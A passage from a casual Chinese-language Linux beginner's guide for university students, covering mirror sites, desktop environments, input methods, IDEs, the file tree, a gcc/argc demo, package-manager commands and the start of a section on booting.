id=\"先告知你\"\u003e先告知你\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e清华大学镜像站:https://mirrors.tuna.tsinghua.edu.cn\u003c/li\u003e\n\u003cli\u003e中科大镜像站:https://mirrors.ustc.edu.cn\u003c/li\u003e\n\u003cli\u003e如果你是我校友的话(仅校内服务):https://linux.xidian.edu.cn/mirrors\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e镜像站一般会给你很多的帮助指南,一定要充分利用。镜像站的用途还是很多的,以下只是一些示例。\u003c/p\u003e\n\u003ch3 id=\"加速linux系统更新\"\u003e加速Linux系统更新\u003c/h3\u003e\n\u003cp\u003e鉴于这是Linux指南,不提Linux有点不太合适。\u003cbr/\u003e\nLinux系统的优点之一,就是软件更新比Windows舒服。但默认更新一般是很慢的,因为要走国外的服务器。所以说,更改系统的软件源地址就很有必要了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu简便方法:设置里面有个选项,叫”软件与更新”,从那里修改。\u003c/li\u003e\n\u003cli\u003eFedora/CentOS简便方法:一般需要看镜像源的文档,开命令行复制粘贴命令。\u003c/li\u003e\n\u003cli\u003eArch Linux/Manjaro:编辑/etc/pacman.d/mirrorlist文件。\u003c/li\u003e\n\u003cli\u003eDebian/Ubuntu:编辑/etc/apt/sources.list文件。\u003c/li\u003e\n\u003cli\u003eRed Hat系列:编辑/etc/yum.repos.d下面的一堆repo文件。本人超级不建议编辑,能烦死。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对了,既然说到了软件源,这里预告一下,第五章讲命令行的时候我会细说这个的。\u003c/p\u003e\n\u003ch3 id=\"加速github的clone\"\u003e加速github的clone\u003c/h3\u003e\n\u003cp\u003e也不知为何,我们要从github下面拉下一个文件,总是好慢啊。幸亏现在有很多的镜像站来帮助我们快速下载。\u003cbr/\u003e\n这个我就直接扔俩地址,以及一个命令:\u003cbr/\u003e\n镜像1:https://hub.fastgit.xyz\u003cbr/\u003e\n镜像2:https://github.com.cnpmjs.org\u003cbr/\u003e\n命令:这个命令能让git访问github的时候,访问镜像。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egit config --global url.\u003cspan class=\"s2\"\u003e\u0026#34;镜像网址\u0026#34;\u003c/span\u003e.insteadOf https://github.com\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"加速下载软件\"\u003e加速下载软件\u003c/h3\u003e\n\u003cp\u003e现在要下载啥软件,都喜欢找最近的镜像地点,加速你的下载。可就怕这玩意不好使用,你别说,我下载Eclipse IDE的时候就遇到过。\u003cbr/\u003e\n当然,幸运的话,镜像源都会给你备份好了。自己探索吧,我觉得没必要多说了233\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\" loading=\"lazy\" alt=\"页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"好奇怪的桌面\"\u003e好奇怪的桌面\u003c/h2\u003e\n\u003cp\u003e如果安装完了系统,进去发现系统有点不一样,但感觉上还能用,那你们真幸运:-)我六年前开始用Linux的时候,还不是这样呢。\u003cbr/\u003e\n但如果你发现,电脑操作不太一样了,或者说,你的Linux和他的不一样。那么,你就要先了解以下东西了。\u003c/p\u003e\n\u003ch3 id=\"桌面居然是一个独立的软件\"\u003e桌面居然是一个独立的软件?\u003c/h3\u003e\n\u003cp\u003e这点和Windows很不一样,Windows的图形化功能是集成到内核的,Linux不是这样。这也解释了为啥Windows图形化一崩溃就蓝屏了。\u003cbr/\u003e\n具体来说,Linux本身只是一个内核,在其上运行着很多程序,图形化界面(桌面环境)只是其中一个。\u003cbr/\u003e\n要细说的话,我们得扯一下历史了(欢迎大家进入工程概论睡觉模式):\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/c9p74VqHoIDUngb.jpg\" loading=\"lazy\" alt=\"SuperBart超级抽象画工时间2333\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eSuperBart超级抽象画工时间2333\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e上世纪七八十年代的电脑,都是需要用终端机来使用的。终端机连接到远端的主机,并进行操作。现在有些东西,还有这个的影子呢,比如你远程你买的云服务器。插一句,C语言的stdio头文件,全称叫标准输入输出(STanDard Input Output),也是对应了这个结构。输入在当时,就是终端机的键盘,输出在当时,就是终端机的屏幕。当然现在,分别对应的是你的键盘和屏幕了。\u003cbr/\u003e\nLinux的图形化程序叫Xorg,也是这样的结构。这里给张图片。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/uZhnsFCxlt63EOe.jpg\" loading=\"lazy\" alt=\"根据维基百科X协议页面画的,不一定准确\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e根据维基百科X协议页面画的,不一定准确\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看,是不是有点终端机和主机的感觉呢?前面三个负责处理一些内部事情,比如接受进程状态,检测输入之类。然后XORG服务器将绘制信号传给XORG客户端,然后经由窗口管理器之类的东西,把窗口送到你的屏幕上。他的过程比Windows那样的直接绘制要复杂一些,但是十分灵活。\u003cbr/\u003e\n在Linux中,有很多的桌面环境。建议大家看一下自己系统使用的桌面环境,以后出现问题的话,会很有用。下面介绍一些著名的桌面环境,以及我认为的特点:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e名称\u003c/th\u003e\n\u003cth align=\"center\"\u003e官网\u003c/th\u003e\n\u003cth align=\"left\"\u003e优点\u003c/th\u003e\n\u003cth align=\"left\"\u003e缺点\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eKDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ekde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e围绕KDE开发的软件很多,界面比Windows 11还好看,配置方便\u003c/td\u003e\n\u003ctd align=\"left\"\u003e体积庞大\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDeepin\u003c/td\u003e\n\u003ctd align=\"center\"\u003edeepin.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面华丽,使用简单,开发单位有国家赞助\u003c/td\u003e\n\u003ctd align=\"left\"\u003e3d加速之类的东西不太适合虚拟机使用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eGNOME\u003c/td\u003e\n\u003ctd align=\"center\"\u003egnome.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e个性化能力强,围绕其生态的软件多\u003c/td\u003e\n\u003ctd align=\"left\"\u003e默认界面使用十分反人类,用起来十分不稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eMATE\u003c/td\u003e\n\u003ctd align=\"center\"\u003emate.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面直观,软件丰富,基于GNOME还没反人类时期的代码\u003c/td\u003e\n\u003ctd align=\"left\"\u003e可能界面有点老土,默认上下都有任务栏\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eXFCE\u003c/td\u003e\n\u003ctd align=\"center\"\u003exfce.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e省资源,但是软件绝对够用,小耗子很可爱\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面十分老土,个人认为得自己配置一下\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLXDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003elxde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e十分省资源\u003c/td\u003e\n\u003ctd align=\"left\"\u003e配置起来相当麻烦,软件之类得自己找\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e当然,听我的一家之词,肯定是不够的。建议各位上网找一下相关图片,了解一下。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\" loading=\"lazy\" alt=\"这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"我的中文输入法呢\"\u003e我的中文输入法呢?\u003c/h3\u003e\n\u003cp\u003e相信有人装完系统,发现你的系统没有中文输入法,中文输入不了。\u003cbr/\u003e\nLinux的输入法跟Windows是有区别的,Linux上的输入法是一个框架,在框架中,具体的输入法才能运行。Linux上面有两个框架,一个叫Fcitx,一个叫ibus。接下来,我会给大家一些关于输入法的提示。\u003cbr/\u003e\n首先是fcitx(小企鹅输入法)。这个输入法的用途还是很广泛的,而且插件功能强大。我用的最多,也最想给大家推荐。具体安装我这里不会细说,给点提示吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一般来说,你需要安装一些针对QT和GTK的相容性插件。如果你发现输入不了的话,可能这是你问题的一个切入点。\u003c/li\u003e\n\u003cli\u003e目前Fcitx分为两个版本,一个是第四版,一个是第五版。现在推荐大家使用第五版,功能更多,开发更活跃。\u003c/li\u003e\n\u003cli\u003e关于默认的拼音输入法,有两个插件一定要激活:一个是云拼音插件,一个是词库插件。云拼音插件可以从百度的服务器上面得到你输入拼音的预测,词库插件可以获取搜狗拼音的词库。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后是ibus。这个是GNOME的默认输入框架,所以用GNOME的同志们,不要再装fcitx了。这个输入法我用的不多,所以这里谈的不多,请进入设置里的相关选项进行设置。\u003c/p\u003e\n\u003cp\u003e不过我必须插一句,不要使用默认的拼音输入法实现!去你的软件源找有没有ibus-libpinyin或者ibus-sunpinyin,这俩更好用。\u003c/p\u003e\n\u003ch3 id=\"linux上面有dev-c吗\"\u003eLinux上面有Dev-C++吗?\u003c/h3\u003e\n\u003cp\u003e没有,Dev-C++是纯Windows程序。但是Linux上面有更好用的。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e小熊猫Dev-C++,QT版的Dev-C++,该怎么用不用我多说了吧。(这不是原版Dev-C++,不保证你的软件仓库有)\u003c/li\u003e\n\u003cli\u003eGeany,用起来和Dev-C++差不多,构建单个文件的时候很舒服的。\u003c/li\u003e\n\u003cli\u003eCodeBlock,我们CPP语言老师用的是这个IDE。\u003c/li\u003e\n\u003cli\u003eKate,KDE桌面环境默认编辑器,个人习惯使用这个编辑配置文件。OI-Wiki有个指南,可以看看。(这个软件有Windows版)\u003c/li\u003e\n\u003cli\u003eGedit,Gnome桌面环境的默认编辑器。稍微配置一下,就能一键编译了。CSDN上面一堆教程呢。\u003c/li\u003e\n\u003cli\u003eVSCode,大名鼎鼎,无需多言。而且在Linux上配置更方便了呢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e插一句啊,在Linux编程前,一定要看看你的系统有没有编译器!你安装gcc或者clang了吗?\u003c/p\u003e\n\u003ch2 id=\"文件相关\"\u003e文件相关\u003c/h2\u003e\n\u003cp\u003e粗略略用起来,好像没啥奇怪的。但当你想找C盘D盘的时候,诶,跑哪里去了?\u003cbr/\u003e\n你发现文件路径中,\u0026#39;/‘用的好多啊,而且有好多三个字母的目录,有点高大上。\u003cbr/\u003e\n你还发现文件属性里面没有\u0026#34;隐藏\u0026#34;了,这又是搞哪门子?\u003c/p\u003e\n\u003ch3 id=\"没有明显的分区概念\"\u003e没有明显的分区概念\u003c/h3\u003e\n\u003cp\u003e知道各位脑子里充满了C盘,D盘之类的。他们泾渭分明,基本上要没啥事的话,真的是鸡犬相闻,老死不相往来。但如果我告诉你,分区之间可以关系紧密,甚至成为了一棵树呢?\u003cbr/\u003e\n来看看这张图吧,这就是我电脑Linux的分区结构了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\" loading=\"lazy\" alt=\"手绘的更有温度,懂不懂啊\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e手绘的更有温度,懂不懂啊\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e你看到了吗,任何文件都是衍生自一棵树,他的名字叫做根,他的目的也是为了耕种这些文件。这些文件在这个根的勤劳耕种下,努力地繁育系统这个大家庭……(看不懂的去看《十日谈》或者去听Genesis的Cinema Show)\u003cbr/\u003e\n为什么说Linux的分区不明显呢?分区是硬件上的概念,客观存在的。但是Linux中,分区之间的关系是非常紧密的。即使/usr目录在一个分区,/boot在另一个分区,/单独一个分区,但只要有/维系这棵树,他们之间的互相访问,就好像在一个分区一样,这样,分区的概念就不明显了。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\" loading=\"lazy\" alt=\"看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有心人注意到了,我写了一个\u0026#34;在内存中的文件\u0026#34;。这个是Linux内核把系统和硬件的信息,通过文件的形式给大家呈现了出来。这个方面,建议大家了解一下Linux/Unix下硬件映射为文件,“一切皆文件”的思想。\u003cbr/\u003e\n对于mac用户,你们可以打开终端,看看你们的根目录。\u003c/p\u003e\n\u003ch3 id=\"隐藏文件和配置文件\"\u003e隐藏文件和配置文件\u003c/h3\u003e\n\u003cp\u003e在Linux中,隐藏文件的标志和Windows的不一样。只要你在文件名前面搞个\u003ccode\u003e.\u003c/code\u003e就行了,就这样。\u003cbr/\u003e\n那么,什么情况下我们会看到隐藏文件呢?来看看我的电脑吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\" loading=\"lazy\" alt=\"左面的不显示隐藏文件,右面的显示隐藏文件\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e左面的不显示隐藏文件,右面的显示隐藏文件\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好吧,你看到了很多的隐藏文件。这里面我先告诉你,大多数是配置文件。为啥要告诉你呢?要不然没法往下写了(尴尬)\u003cbr/\u003e\nLinux软件的配置文件,大多集中地放在以下目录中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e/etc 这个是系统级别的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.config 这个是在你的家目录(/home/你的用户名)里面的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.vkquake 这个是在家目录里,雷神之锤游戏的配置文件和数据包相关(有其他程序是话,请类比)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e配置文件有啥可说的呢?Linux大多数应用都是依靠配置文件,而不是图形化配置工具,来修改设定的。而且,一般通过配置文件,你可以对这个软件的使用有初步的印象,因为很多的配置文件都写满了注释。实际上,前面我们修改软件源的时候,我们就已经修改系统的配置文件了。\u003c/p\u003e\n\u003ch2 id=\"命令行的基本使chao用xi\"\u003e命令行的基本使(chao)用(xi)\u003c/h2\u003e\n\u003cp\u003e在Linux,你要想玩的high,就得接触命令行。对于某些在Windows经常搞cmd的人,估计会更熟悉些吧。\u003cbr/\u003e\n但如果你不熟悉命令行,相信你的外语和程序上机都好好学了吧,这也不是难事。\u003cbr/\u003e\n而且大家不是更喜欢CyberPorn吗2333\u003c/p\u003e\n\u003ch3 id=\"程序设计课复习程序与参数\"\u003e程序设计课复习:程序与参数\u003c/h3\u003e\n\u003cp\u003e各位应该在C语言程序设计中,学到了如何通过命令行输入参数,而不是先把程序执行了,再输入数据。你们当时肯定输入的是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint main(int argc, char* argv[])\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中第一个参数argc(argument count),是你输入的参数数量。第二个参数argv(argument vector),存放的是你输入的参数字符串。举个例子,前面我们提到要搞软件包管理。在Ubuntu下,你搜索软件包(举个例子,gcc编译器)的时候,你输入的是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt search gcc\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样,你输入了三个参数,一个是apt,一个是search,一个是gcc。这样的话,argc的数值是3,而argv里面存储的,则是那三个参数的字符串了。这里我建议各位自己编写一个和下面程序类似的程序。看看输出结果。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e\u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[]){\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"命令行程序举例一句话编译c语言单文件\"\u003e命令行程序举例:一句话编译C语言单文件\u003c/h3\u003e\n\u003cp\u003e各位目前编程,除了某些大佬之外,肯定是依靠Dev-Cpp之类的程序来编译运行吧。这里我想给大家把那些程序的外表给去掉,给大家看看如何编译一个程序吧。\u003cbr/\u003e\n像Dev-Cpp那样的,可以编辑代码并编译执行的程序,叫做集成开发环境(IDE)。IDE要想编译程序,需要编译器,这个配置过vscode的人会更清楚。接下来,我们只依靠编译器,编译上面的示例程序。\u003cbr/\u003e\n这里我使用gcc编译器。咱先把上面的示例程序写下来,保存成’argc.c’文件。然后在保存这个文件的目录下,打开终端,通过以下命令编译运行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egcc argc.c -o argc \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./argc Unforeseen Consequence\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果执行没有问题的话,程序将会输出\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e./argc\nUnforeseen\nConsequence\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e好的,程序运行成功了,执行符合预期。这个命令我也该跟大家解释一下了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egcc\u003c/code\u003e 是编译器程序的名称,后面跟参数\u003ccode\u003e–help\u003c/code\u003e可以查看其使用指南\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eargc.c\u003c/code\u003e 是需要编译的源代码文件,是gcc程序的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-o\u003c/code\u003e 是gcc的参数,表示要将编译后的结果输出到哪个文件中,后面的argc是-o的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e 是bash命令解释器的一个特殊符号,表示在前面的命令完成后,执行后面的命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e./argc\u003c/code\u003e 是即将执行的程序名称,\u003ccode\u003e./\u003c/code\u003e表示我们需要在当前目录下寻找该程序\u003c/li\u003e\n\u003cli\u003e后面的两个单词是argc程序的参数,也是G-Man对万斯父女说过的话\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果大家一时看不明白,很正常。我这里只是想通过这种方式,让大家对命令行程序有一个了解。\u003cbr/\u003e\n如果想更多了解的话,建议大家了解一下bash的基本用法。最后给大家一道思考题:系统是怎样找到程序的位置呢?\u003c/p\u003e\n\u003ch3 id=\"软件包管理\"\u003e软件包管理\u003c/h3\u003e\n\u003cp\u003e前面我说镜像的时候,我说我会在这里细讲的。个人认为,这个是使用频率最高的命令行程序了。\u003cbr/\u003e\n在Windows下,各位要用软件的时候,都会找渠道下载安装程序,然后安装吧。这种方式个人认为,十分麻烦,而且不安全。麻烦在于,你得满世界去找安装程序,有些小众程序还得去各种犄角旮旯网站去找。不安全在于,有些渠道很黑心,一不小心就给你来个2345流氓大礼包。要是下到了病毒,那就更好玩了:-P\u003cbr/\u003e\n而Linux系统,普遍都有配套的软件库,可以很方便地给你们提供很多的软件。基本上咱们编程需要的东西,都给你准备好了。当然,要是这个程序找不到的话,如果那个软件给Linux适配的话,那就把上面的步骤走一遍吧:-(\u003cbr/\u003e\n接下来,我给大家准备了一些命令,免得大家上网找了。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e系统类型\u003c/th\u003e\n\u003cth align=\"center\"\u003e安装程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e卸载程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新系统\u003c/th\u003e\n\u003cth align=\"center\"\u003e搜索程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e图形化工具\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDebian/Ubuntu\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get install\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt dist-upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-cache search\u003c/td\u003e\n\u003ctd align=\"center\"\u003esynaptic\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eFedora/CentOS\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf install\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf update\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf distro-sync\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf search\u003c/td\u003e\n\u003ctd align=\"center\"\u003e-\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eOpenSUSE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper in\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper rm\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper up\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper dup\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper se\u003c/td\u003e\n\u003ctd align=\"center\"\u003eYaST软件包管理工具\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eArch Linux/Manjaro\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -S\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -R\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Ss\u003c/td\u003e\n\u003ctd align=\"center\"\u003epamac/octopi\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对了,用GNOME环境的同志们,你们的电脑上面应该有个\u0026#34;软件\u0026#34;应用,那个玩意也挺方便的。KDE下面有个Apper,也还行。\u003cbr/\u003e\n还有一件事,软件库是可以扩展的,比如Fedora的RPMFusion,Archlinux的AUR,需要的话,可以上网了解一下。\u003c/p\u003e\n\u003ch2 id=\"如何把-linux-引进家\"\u003e如何把 Linux 引进家\u003c/h2\u003e\n\u003cp\u003e这块我简要说一下如何把 Linux 引进家,也就是你电脑是如何引导 Linux 的。\u003cbr/\u003e\n有些名词我不会过多解释,有需要请上网搜索。有错误请指正。\u003c/p\u003e\n\u003ch3 id=\"mbr--uefi\"\u003eMBR / UEFI\u003c/h3\u003e\n\u003cp\u003e电脑开机之后,首先加载 CMOS 里面的程序,用来初始化电脑的硬件。顺便说一句,BIOS 是存在 CMOS 里面,用来修改 CMOS 的内容的程序。多看看老莱就知道了。\u003c/p\u003e\n\u003cp\u003e初始化硬件后,电脑需要寻找硬盘上的操作系统,然后把控制权交出去,因为他除了初始化硬件,连和我贴贴都不会。而这就引申出来标题那俩东西了。\u003c/p\u003e\n\u003cp\u003e对于各位普遍安装的虚拟机,以及老电脑来说,MBR 引导方式是十分普遍的。MBR 是电脑的前 512 字节,存着操作系统引导器的信息。电脑读这几个字节的信息,然后就交权了。UEFI 稍微复杂一些,他能读取一个叫 EFI 分区的玩意,看看里面有啥可引导信息,然后引导系统。\u003c/p\u003e\n\u003ch3 id=\"系统初始化程序\"\u003e系统初始化程序\u003c/h3\u003e\n\u003cp\u003e现在我们需要加载内核到内存,内核文件是压缩过的,名字中一般有个 \u003ccode\u003evmlinuz\u003c/code\u003e 